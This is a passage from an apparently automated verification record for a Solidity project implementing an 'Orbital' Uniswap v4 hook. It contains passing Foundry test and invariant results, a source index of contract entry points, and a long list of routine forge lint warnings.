test_firstDepositOpensAtEqualPrice() (gas: 558448)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130913)\n[PASS] test_guardianCannotUnpause() (gas: 98845)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603738)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605603)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2826254)\n[PASS] test_ownerAdmin() (gas: 256862)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294783)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1727653)\n[PASS] test_permissionsMatchAddressBits() (gas: 16721)\n[PASS] test_roundTripNeverProfits() (gas: 1939693)\n[PASS] test_swapExactInNearPeg() (gas: 1808903)\n[PASS] test_swapExactOut() (gas: 1689037)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 132050)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1935019)\n[PASS] test_swapTooLargeReverts() (gas: 612356)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 70008)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1955542)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 626882)\n[PASS] test_withdrawReturnsDeposit() (gas: 1024660)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 344.87ms (762.40ms CPU time)\n\nRan 1 test for test/invariant/OrbitalHookInvariant.t.sol:OrbitalHookInvariantTest\n[PASS]\nOrbitalHookInvariantTest invariants:\n[PASS] invariant_adminSurfaceUnchanged\n[PASS] invariant_boundaryMaskMatchesPosition\n[PASS] invariant_claimsCoverReservesAndFees\n[PASS] invariant_pointStaysOnTorusAboveFloor\n[PASS] invariant_radiusAccounting\n[PASS] invariant_tokenConservation\n OrbitalHookInvariantTest invariants (runs: 96, calls: 3840, reverts: 0)\n\n╭----------------+--------------+-------+---------+----------╮\n| Contract       | Selector     | Calls | Reverts | Discards |\n+============================================================+\n| OrbitalHandler | collectFees  | 488   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | deposit      | 472   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | roundTrip    | 482   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | setFee       | 483   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | swapExactIn  | 475   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | swapExactOut | 518   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | togglePause  | 437   | 0       | 0        |\n|----------------+--------------+-------+---------+----------|\n| OrbitalHandler | withdraw     | 485   | 0       | 0        |\n╰----------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.41s (6.37s CPU time)\n\nRan 9 test suites in 6.42s (7.94s CPU time): 112 tests passed, 0 failed, 0 skipped (112 total tests)\n","passed":true},{"durationMs":92,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"OrbitalHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"OrbitalHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"OrbitalHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"OrbitalHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":295,\"foundry.toml\":23,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":98,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":862,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":210,\"src/libraries/OrbitalMath.sol\":226,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":83,\"src/reactive/OrbitalDepegReactive.sol\":137,\"test/Deploy.t.sol\":61,\"test/OrbitalHook.t.sol\":558,\"test/OrbitalHookEdge.t.sol\":757,\"test/OrbitalMath.t.sol\":141,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":271,\"test/ReactiveEdge.t.sol\":416,\"test/invariant/OrbitalHookInvariant.t.sol\":748,\"test/invariant/OrbitalTokenInvariant.t.sol\":123,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/mocks/MockERC20FeeOnTransfer.sol\":57,\"test/mocks/MockERC20ReturnsFalse.sol\":52,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c17886291c86700a1ff4e5e6552c28e9ec880ada9ff95f3b032ba6bef92d9d44","verifiedTreeHash":"17e09db778d0867acb23978294203a5b0a60fb6a","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":5568,"exitCode":0,"name":"build","output":"Compiling 92 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.24s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:227:28\n    │\n227 │         if (b < 0) return (false, 0, 0);\n    │                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:492:43\n    │\n492 │         if (radius == 0) return (amounts, false);\n    │                                           ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:233:69\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:239:36\n    │\n239 │         if (chosen < tMin) return (false, 0, 0);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:240:17\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                 ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:758:42\n    │\n758 │             return (_equalPoint(radius), false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:98:9\n   │\n98 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:771:85\n    │\n771 │         if (boundary) return (_circlePoint(lv[l].kNorm, lv[l].sNorm, s, w, radius), true);\n    │                                                                                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:777:79\n    │\n777 │             return (_circlePoint(lv[top].kNorm, lv[top].sNorm, s, w, radius), false);\n    │                                                                               ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:779:60\n    │\n779 │         return (_interiorPoint(c, s, w, radius, incoming), false);\n    │                                                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:53:56\n   │\n53 │     constructor(address _callbackProxy, address _hook, address _rvmId) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:986:56\n    │\n986 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n    │                                                        ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:20\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:49\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:79:9\n   │\n79 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:64\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:20\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:45\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:139:32\n    │\n139 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:90:23\n   │\n90 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:17\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:46\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:62\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:76\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegCallback.sol:109:23\n    │\n109 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:200:29\n    │\n200 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:25\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:38\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:225:20\n    │\n225 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:226:20\n    │\n226 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:21\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:34\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:233:41\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:23\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:35\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:23\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:40\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                                        ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:577:9\n    │\n577 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:93:39\n   │\n93 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n   │                                       ━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:106:24\n    │\n106 │         int256 price = int256(log.topic_1);\n    │                        ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:150:9\n    │\n150 │         emit FeedUpdated(old, newFeed);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:171:23\n    │\n171 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:180:9\n    │\n180 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:201:56\n    │\n201 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:203:27\n    │\n203 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:216:53\n    │\n216 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:104:32\n    │\n104 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:107:23\n    │\n107 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:260:56\n    │\n260 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:260:77\n    │\n260 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:261:44\n    │\n261 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:261:59\n    │\n261 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:295:23\n    │\n295 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:295:58\n    │\n295 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:33\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    